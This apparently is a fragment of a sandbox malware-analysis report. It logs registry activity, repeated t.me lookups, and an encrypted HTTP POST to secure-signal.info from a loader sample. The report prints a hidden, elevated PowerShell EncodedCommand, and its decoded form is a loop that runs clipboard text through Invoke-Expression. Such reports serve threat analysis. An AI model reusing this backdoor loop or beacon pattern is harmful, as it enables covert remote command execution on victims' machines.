"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "806964ff31e2acc80.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "34DD4A3CE67DDC010000000000000000000000000200000000") "806964ff31e2acc80.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "F8C8563CE67DDC010000000000000000000000000200000000") "806964ff31e2acc80.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "60BC006DE67DDC010000000000000000000000000200000000")59:Ta11,"Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "")5a:T10d9,"806964ff31e2acc80.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "34DD4A3CE67DDC010000000000000000000000000200000000") "806964ff31e2acc80.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "F8C8563CE67DDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "60BC006DE67DDC010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "1F06000000000000040004000102090000000000210000000D787900010000001C390B01010000002FD60F02010000006B507E0018000000795344020600000087DE830081000000A19F5E0001000000F062570201000000FED37A0004000100000054000000276B69012E00000056737D00080000006B507E0008000000E6C5310002000400000001000000C49B7B0201000000EFBA8302020065000000CA150000E6C531000F000000F0E0B60001006800000002000000BC6EB40000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\SOFTWARE\MICROSOFT\TIP\AGGREGATERESULTS"; Key: "DATA"; Value: "D9A7A80101000300EC03F46F000000002C0000000000000049A8A801010203005C4614A6000000004600000000000000D1A8A8010102030064B6561100000000DC00000000000000D1A8A80101000400FB3B54EB000000007200000030000000C25CAB0101000200FECB062F00000000010000008F0C000023ACAD0102020400546DD0B4000000000100000087000000AFFBB9010100008055161AFB0000000001000000F53500002B7ABA010202070017EB54670000000002000000090000004428C30101000080469996A2000000002C000000840500004428C30103000040EFD5A1DB0000000006000000580000004428C30104000100541F4AF40000000017000000000000006597C90101010080EB47F5D000000000010000008C0000009F49DD010100008045734BE10000000007000000000000004959DD0101000400F34A296B0000000002000000070200006A44DF010100008054528C5D0000000001000000CD0000009178E10101000080DF19D73200000000010000000200000081F7E10104000100C177129C00000000660000001900000081F7E101047F02002AF214C2000000000E00000018010000EC9BE501010000806E4C67B60000000001000000050000000C84EA010102010077F4574600000000010000000F0000008C5FF20101000400EA4046AF00000000030000007F0000003D4A060201000080C39240F0000000000100000014000000564A0602017F0080784A674B000000000100000041000000BFDE08020100008065B49D6B00000000090000007A0000005F37110201000080856D77FF0000000004000000B20000006D38160201000080738B74C700000000010000008B000000A4102702017F0080260FB9F9000000001400000056000000BCF4300201000080BE94981800000000010000008C0100006C97340201000080EE1839B90000000005000000000000009A483902010001006D537548000000000100000000000000B9BE4502010000808712A98300000000010000007F00000077384602017F0500101E3EA3000000000100000003000000D60F470201000080F82C30D1000000000100000000000000FDBE49020100008003520DB6000000000200000035080000487C4D0201000080127A123700000000640000000E00000093FE59020100010098FBB9D6000000000400000000000000477F610201000080ED3B2446000000000100000000000000477F610204000100DFB5D96E0000000001000000000000009E26640201020080C0A211130000000001000000000000005792640201000080FD299895000000000100000055030000FF40890201000080252A7840000000007600000022000000FF4089020300004026CCD6550000000022000000020000004614940201000080682B516C00000000010000008429000000")5b:T5c6,Process "powershell.exe" with commandline "-Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A' -Verb RunAs"" (UID: 00000000-00004092) Process "powershell.exe" with commandline "-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A" (UID: 00000000-00005928, Additional Context: "while ($true) { $clip = Get-Clipboard; if ($clip -and $clip.StartsWith('_')) { $cmd = $clip.Substring(1); Set-Clipboard ' '; Invoke-Expression $cmd; break }; Start-Sleep -Milliseconds 500 }")5c:Ta62,"806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "d0bde13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "50bce13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90bae13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "d0c5e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "10c4e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "50c3e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90bfe13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90bbe13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "10bce13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "10c5e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90c7e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90c2e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90c6e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "d0bee13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "90bce13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "d0c7e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "d0c8e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "50c9e13d0c020000"} "806964ff31e2acc80.exe" called "getaddrinfo" with parameters {"pNodeName": "t.me" "pHints": "319f3fbb00" "ppResult": "10c8e13d0c020000"}5d:T587d,"POST / HTTP/1.1 Connection: Close Accept: */* Content-Length: 5728 Host: secure-signal.info" with payload::==> "5c:16:00:00:e3:d6:a4:1d:13:91:6f:a5:22:c1:21:24:a0:79:d5:07:bb:c0:42:fc:25:5c:6d:78:97:af:fd:ee:41:ff:6e:b6:49:54:0e:a3:9f:90:43:91:79:d9:1b:28:87:b6:1b:56:5b:14:1e:bb:e5:f3:c6:44:ab:09:3d:ac:e2:83:08:06:30:8b:56:d3:d2:04:dc:17:a9:42:63:45:c2:fc:2e:b3:31:9a:43:39:dd:63:2a:b9:ff:25:16:85:ce:1d:e8:97:35:df:ef:a5:1a:9f:a8:73:87:99:33:ad:09:b1:d8:65:5c:16:4d:4c:d9:bd:e2:0a:15:7b:44:35:93:19:56:a5:55:49:e8:c9:f6:96:65:20:0a:13:bb:5a:d2:e1:4e:e1:ed:1f:7b:8b:8d:41:a2:18:b6:e1:be:2e:36:2b:45:b3:81:5d:93:56:2d:ee:91:28:4f:17:c4:66:ce:e0:93:fd:b4:1f:3f:8c:54:7d:ec:13:2b:a6:3f:39:ea:6e:ec:0d:3b:bb:0c:e6:36:d5:92:7b:d8:c7:65:e2:9b:62:1b:78:fa:e6:bf:9f:c7:80:14:b7:1b:a2:50:52:01:88:91:83:4e:0b:9f:22:41:7b:ee:66:fb:13:14:83:88:5e:22:82:51:90:e0:c2:0f:34:80:11:b7:fb:1b:13:12:df:85:20:63:6d:47:ce:b5:86:e5:9f:03:08:20:87:23:ba:2f:fd:a3:95:98:65:39:5e:91:7a:52:c6:64:ba:13:52:29:89:2d:fe:79:34:cf:c2:b4:d2:81:3d:29:36:ab:29:26:39:cc:5e:c1:2a:d7:61:58:cb:b5:72:f7:d6:25:26:a5:f5:ca:66:77:cb:b6:35:74:11:0c:82:d5:73:12:37:e4:7e:62:8c:86:68:18:be:02:70:9e:e3:95:70:0f:a4:5b:ab:10:e5:03:6b:5a:96:5c:53:de:b9:b5:14:2e:62:e1:d7:b2:b4:d9:9d:ba:fa:ac:ff:e1:32:47:5b:b9:f0:26:27:bd:cf:5c:ba:66:9a:06:0f:fd:08:a6:f5:d2:33:d9:8a:18:4a:b2:5a:3c:ac:8b:e3:a9:33:4c:3a:d2:39:f3:95:51:4e:72:9f:fa:79:bf:ff:e2:58:71:50:2f:cd:43:d5:8a:c9:d2:b8:a5:73:1b:24:e0:43:ad:d3:8c:fd:07:15:0a:8a:2d:6d:5f:bb:ab:89:27:48:8c:fa:63:78:c5:61:14:17:e8:fc:58:f0:09:9a:6f:4d:36:ab:b7:e0:c4:a1:4b:3b:8d:95:3a:c5:2a:b9:75:70:10:1b:b9:8d:a6:f6:52:da:78:9c:7b:82:6c:f0:45:7a:df:48:53:5a:04:c7:11:26:09:21:d2:0e:2c:d4:b3:62:74:26:15:3f:1f:4c:15:80:76:4a:f8:01:07:0f:b9:12:f5:be:23:2a:66:19:b0:a9:a0:00:6c:51:52:63:47:29:f2:26:fd:a4:f4:bd:72:04:f5:93:fd:94:3b:6d:3c:f9:4d:20:2d:e8:24:2d:a1:81:61:21:d6:31:69:b6:3d:10:cc:66:a7:2b:6d:0e:0b:15:81:a6:ec:d8:26:ee:6c:a9:27:26:1e:bf:cc:ee:ee:b0:74:71:f5:35:08:46:5e:a9:1e:31:20:4c:85:9f:07:c7:65:d1:94:ba:f2:bc:c6:9a:22:e0:95:b2:35:a1:68:5c:25:08:d8:b0:88:85:6a:6b:6a:ee:98:fb:de:b5:4d:3b:59:0e:49:96:ac:6c:b3:ed:38:fe:b9:6c:f4:a6:82:fd:19:9d:46:43:c7:e5:37:4b:12:9d:c8:9d:ab:00:bb:39:1e:8f:34:c8:8f:26:b4:11:77:d6:ba:a1:a2:0e:65:ff:e5:2c:67:ae:b4:50:bc:ab:28:fd:91:29:a6:28:f0:0c:93:2a:70:ad:c1:52:6b:3b:3d:0b:08:32:b5:17:67:72:51:aa:45:84:0e:15:c9:1f:eb:53:fd:e9:c4:8c:0e:63:a7:11:5e:dd:29:01:90:f7:66:80:03:da:05:e2:b5:ed:e1:d3:b2:33:55:fe:b2:d7:c1:75:cc:5a:8d:91:e3:35:35:97:c4:7a:e1:e6:08:1b:6f:0e:cb:6f:68:0b:0c:31:c4:b0:dc:0f:67:a8:4d:8e:9a:ef:c5:86:83:39:18:d1:29:40:a3:44:00:02:82:6f:57:96:65:fb:21:fe:55:66:28:cb:1d:cb:a9:c4:2c:98:81:76:8b:d4:bf:f2:e5:86:aa:78:77:7d:0a:93:f5:88:fc:73:69:26:42:2f:c9:2c:18:68:04:08:fd:63:30:0c:ed:dc:3b:28:9c:da:6c:b6:c4:1f:69:4f:e8:67:c7:6d:6f:fc:55:8a:94:6c:00:65:c0:22:a8:b4:c6:70:20:f9:a8:81:1e:c2:0c:bb:86:a7:28:a5:51:0d:3f:7b:1c:72:bd:bb:02:05:ed:47:25:2c:e4:23:7d:7b:68:32:ff:ad:a0:39:99:dc:41:76:6a:01:b9:34:21:06:6a:5c:d7:c1:71:64:a2:88:4d:4f:0d:5f:70:33:bc:ca:bf:7d:6a:aa:fe:61:b7:28:0f:c7:df:43:21:cf:11:85:dc:e3:b5:37:c8:29:7b:d7:19:51:2c:35:b9:2a:07:a9:32:63:eb:e1:cf:bf:3e:78:1f:3c:96:f9:48:26:df:95:7a:62:35:b6:12:83:94:56:00:42:34:75:ee:99:2e:7d:fa:26:fe:2f:cd:2a:57:7d:e7:f1:12:aa:b8:5f:c2:ba:68:0e:69:2e:70:87:05:ae:c2:ef:97:2e:98:47:a5:c8:58:38:42:6f:ad:4a:2d:25:e7:a6:b3:f0:db:a4:3a:84:f1:fc:57:f3:73:9a:9b:ff:3f:c2:9d:18:4f:f3:1e:9b:26:75:6d:46:45:a1:4c:37:8f:05:09:a5:05:90:a1:80:92:9d:d1:46:0e:f5:28:70:73:ad:68:81:fe:7c:52:07:54:60:80:f5:67:e8:02:ec:85:de:ad:74:a9:56:6d:a6:8a:e6:8d:43:2c:52:84:b9:31:0f:42:f6:d2:ec:c6:ae:46:f7:92:bd:35:6e:9f:ef:f7:55:ca:9c:45:33:11:0e:32:a5:bc:37:d9:4f:31:e1:f3:fc:8a:ec:b2:8e:a8:cd:7c:1a:50:63:ea:45:f2:55:4f:14:67:93:c2:46:c5:70:b3:b4:c7:f4:12:81:a6:c0:87:1e:2b:38:f9:00:28:1b:56:11:a2:48:cd:6c:e5:e6:95:12:37:7c:92:f3:9e:25:7a:e9:69:d1:79:fa:f2:a1:e5:ca:3d:34:2e:f8:fd:6d:01:ef:62:49:5d:27:a7:11:88:f5:e3:b1:6b:fb:06:30:78:e6:cf:e9:cc:4a:ec:11:10:bc:11:74:5a:92:a3:84:65:6b:2c:54:ce:de:20:f7:2f:67:e9:14:f0:f4:18:4d:45:4d:3c:63:17:c1:1c:7d:5a:b1:1b:37:e6:af:8c:4a:84:19:0e:20:86:e8:a9:32:09:36:2a:cc:1f:03:0e:67:07:40:68:d8:49:dd:1e:63:6c:66:d0:d5:96:5d:62:d1:ef:07:4f:58:9c:e7:44:a6:f1:60:0c:01:20:fa:94:e3:9b:09:ae:9b:a2:3a:c8:aa:1e:28:e0:07:ba:4e:7d:41:1d:23:2d:89:0c:f0:35:60:bf:37:13:38:1d:e2:b4:c7:48:92:b2:3b:80:a1:cb:4a:76:0b:26:fd:9f:e6:ce:4c:e3:41:8f:6a:66:9a:81:1f:0a:b3:79:9a:db:d3:86:cb:87:d2:b3:1c:0f:fb:c3:f3:10:8a:b5:03:67:78:c7:4f:62:13:3d:31:60:e1:2e:3a:a7:1a:8f:40:6d:66:d0:a7:5b:6f:1b:75:d0:59:07:28:a2:0f:05:f6:c3:be:10:9e:34:39:47:d2:af:b6:8c:d7:59:14:ef:ca:87:5e:d8:bc:3c:49:c4:cc:be:5a:98:de:43:f2:48:1b:15:30:db:62:7f:2a:fb:ec:da:6d:63:9c:43:db:ba:a5:c7:62:b2:be:e4:02:5d:7c:88:44:69:5b:16:d6:ac:54:ed:8e:e2:e3:73:a0:c8:52:a0:73:b4:ce:e6:75:23:f2:ae:c9:40:12:78:15:d8:df:30:e2:36:33:3a:57:ad:e7:d2:80:50:03:88:2c:c5:40:94:d6:20:b4:a0:eb:7b:55:f9:73:39:59:c8:59:04:07:90:c2:95:4a:a7:4f:61:79:70:25:9a:d0:dd:e5:be:da:1b:f1:b4:af:9b:d7:24:63:14:3c:7a:74:45:b0:1a:29:77:d6:3e:ed:34:90:8e:8e:fd:0a:52:a5:0f:32:87:48:8b:27:62:4a:6d:31:ca:3e:35:ab:cf:d3:c8:2f:41:84:7f:37:14:08:64:a4:3c:8d:3d:3a:49:c0:f9:a2:7f:5f:91:5b:c0:fc:37:ff:5a:d9:e6:ed:71:5c:53:21:d0:62:42:65:68:ac:ac:14:91:83:e7:7f:98:26:56:e1:cf:a2:d3:89:8f:b0:35:f1:d8:62:43:bd:bb:b9:10:a7:64:42:39:be:7a:43:3f:2d:e5:f8:37:3c:69:9d:4e:96:9b:19:e8:40:59:ce:a1:09:dd:86:e1:b3:3e:46:4a:fa:4b:8d:6c:f1:7d:36:3d:66:a6:e0:46:19:5e:af:bf:61:cc:60:40:f9:3b:9a:61:88:35:b7:8b:79:ef:73:8e:7d:bc:ae:f6:fb:7e:34:4e:17:dd:f9:84:a4:9e:ea:9e:16:eb:b8:9c:9a:7e:bc:49:44:ff:0b:90:38:d6:06:32:47:55:3e:eb:3f:c6:ae:cb:72:cd:2e:95:2f:fd:63:bc:c7:96:74:02:22:5f:10:a2:d7:c5:78:fe:67:74:9d:a3:d8:09:61:90:cb:25:03:10:ca:05:e4:1f:ff:59:b4:84:87:47:7d:2f:53:83:cb:b6:53:27:27:25:2c:00:78:93:e9:73:de:f3:d7:bb:38:51:d7:5f:14:4c:a5:01:86:c2:0f:9c:f1:c5:f8:07:14:67:cf:d2:68:b4:9c:ad:58:e4:ec:94:54:9f:70:ed:7e:a0:de:3f:d1:be:bb:52:6c:f0:6b:f9:47:cd:a1:17:9e:76:75:00:23:0b:d2:83:c5:7a:a0:a4:41:d5:70:5d:3f:4d:c5:e1:f4:5f:c4:46:3a:00:91:7f:15:0b:28:c2:13:21:eb:bb:b3:a0:f0:e2:ea:ca:99:95:52:84:2b:5a:b2:e7:8f:a5:d1:94:74:0c:c9:b9:e0:68:3d:c5:38:ea:4f:c7:bc:b0:f7:6e:1c:83:a0:02:64:d8:44:a7:a6:81:8a:af:49:aa:f3:c1:6b:b0:1a:97:84:4e:a0:70:d5:49:84:3c:e0:4c:36:c8:78:85:fc:c5:de:25:b7:5b:92:76:cb:30:bb:ae:44:26:da:80:ea:ed:e8:48:12:bd:7b:50:ef:9d:78:9e:f6:3d:57:5d:5f:ba:1b:6b:25:e1:86:3c:0d:39:bb:ca:8f:1e:97:eb:10:23:58:d5:6f:0f:fe:7a:3f:e1:ee:4e:98:a3:0e:56:58:21:f5:df:48:07:30:87:49:1a:a0:b3:8d:bf:4a:a9:7f:59:0c:17:d2:60:19:a9:4a:9c:67:78:60:da:fa:b1:33:5e:e8:5b:00:39:75:84:37:c8:5c:01:d6:8a:1a:89:59:16:07:42:23:47:16:f0:fc:2c:70:96:a6:b9:aa:02:0c:e8:1e:93:41:85:33:6c:85:4c:fe:55:3a:60:92:8e:58:07:47:90:a1:4f:05:6a:77:e4:16:6c:c5:34:1a:a7:52:8a:27:b7:6b:b9:2a:ee:8b:47:1b:64:7a:7d:fe:5d:dd:8e:3e:0c:73:a7:87:06:6e:a6:20:de:26:5b:25:f6:f4:36:d1:14:eb:55:be:93:50:92:d4:5b:5c:14:56:9c:e6:27:ef:2e:7f:a0:c8:ba:8a:a0:d3:53:74:6a:7f:35:84:81:bf:b1:f9:84:fb:9f:bd:a8:9c:cf:3f:ca:25:75:51:d0:fc:0a:1a:47:06:f5:65:24:b2:5f:71:d2:90:e6:2d:2e:8f:ec:c7:d4:a0:6d:ae:a3:df:2e:22:85:18:14:1b:37:ae:87:3e:01:54:e3:23:cf:38:df:16:f6:a0:96:f8:4a:39:1e:c7:50:62:a6:53:46:11:14:62:bd:7e:cf:57:c6:e1:10:9a:24:f3:5e:e4:c5:89:48:0e:52:cf:36:83:b7:77:3f:c6:76:4f:56:2f:b3:7e:58:5d:4f:e0:c7:bc:bd:d4:62:20:31:34:bc:9d:ce:79:15:0e:88:3d:a1:61:f7:0b:50:fd:31:50:63:83:41:4d:7d:ba:ac:0e:89:4b:90:f0:c2:2e:16:95:c3:c8:23:a5:c5:6c:0f:4b:cc:c2:0f:b0:f7:73:22:ec:08:ce:34:a5:77:af:6d:eb:85:71:e6:2b:35:f7:44:d7:c4:29:eb:ff:fc:51:9a:83:fd:96:19:72:93:dc:9a:01:1b:82:b7:ed:57:15:20:7b:f3:85:11:c1:51:d3:cc:c9:09:67:53:d2:c1:56:09:81:ba:ff:fd:6d:66:82:62:3c:58:19:e5:7e:3b:fd:a4:98:f3:19:1d:98:c6:b0:8c:7c:45:b3:a3:7f:52:2f:0a:2e:ef:c5:d7:4b:7f:ce:f4:27:4d:f3:05:a1:c6:3b:6e:85:2a:86:16:ef:42:a3:a2:a7:e5:6f:fc:91:df:19:29:01:b0:82:b4:8d:85:5e:43:bf:e4:0c:a3:03:8d:d3:01:77:67:f4:71:67:fc:bc:be:d5:2a:2f:9f:e0:05:32:ed:e8:44:5e:f2:ca:82:90:df:a5:73:f9:a6:83:75:70:75:35:17:35:17:e8:c5:a9:72:cc:20:d3:46:cd:91:b2:cc:e2:bf:17:c1:db:ae:fe:05:94:72:a6:fd:eb:d3:13:29:5d:17:7d:9d:8e:6f:c0:cc:f1:e0:44:53:98:92:4b:e9:d0:e3:de:29:ee:71:75:fa:1b:d1:9e:fc:94:6f:1d:69:75:2a:46:98:37:7d:8b:82:e2:d5:d9:78:8c:95:aa:38:74:61:3f:bd:f6:f4:27:1d:a3:38:87:e8:ff:af:54:4d:2e:a0:42:78:c3:f3:21:7b:7d:49:93:34:aa:7b:56:63:20:af:ca:64:28:be:a2:4f:e5:c7:dd:f6:5a:59:c7:be:28:1e:2c:f1:18:b4:69:71:7c:4e:49:27:b9:7a:ea:71:f1:69:ff:c0:bb:5a:92:e8:7b:44:ee:10:5b:7c:bc:48:de:16:36:05:1a:bd:2a:e2:d2:86:4d:5e:0e:78:3a:72:46:37:0e:df:0f:e9:7f:7b:8f:24:06:0c:16:56:c7:26:4e:56:a3:de:2c:6e:16:ba:63:a3:ef:43:b6:47:11:5c:85:1d:c6:63:9f:ee:33:13:c2:4d:3c:04:65:5e:75:74:e7:e0:94:2e:be:2c:bf:f2:8d:23:17:09:4c:24:98:c1:78:ce:ac:b6:63:21:f6:13:ab:c6:8d:dc:fb:3a:d3:bb:23:7f:ff:91:dc:66:56:7c:0a:12:20:5e:8d:40:96:30:cb:1c:0e:e6:d5:6a:47:97:7d:42:6e:ac:a1:ae:fc:1b:ac:16:a5:18:20:34:fc:05:fc:21:aa:5a:93:61:6f:ca:33:68:4e:5f:00:1f:97:0e:fb:af:62:ac:ca:ff:8e:6d:9f:ab:4d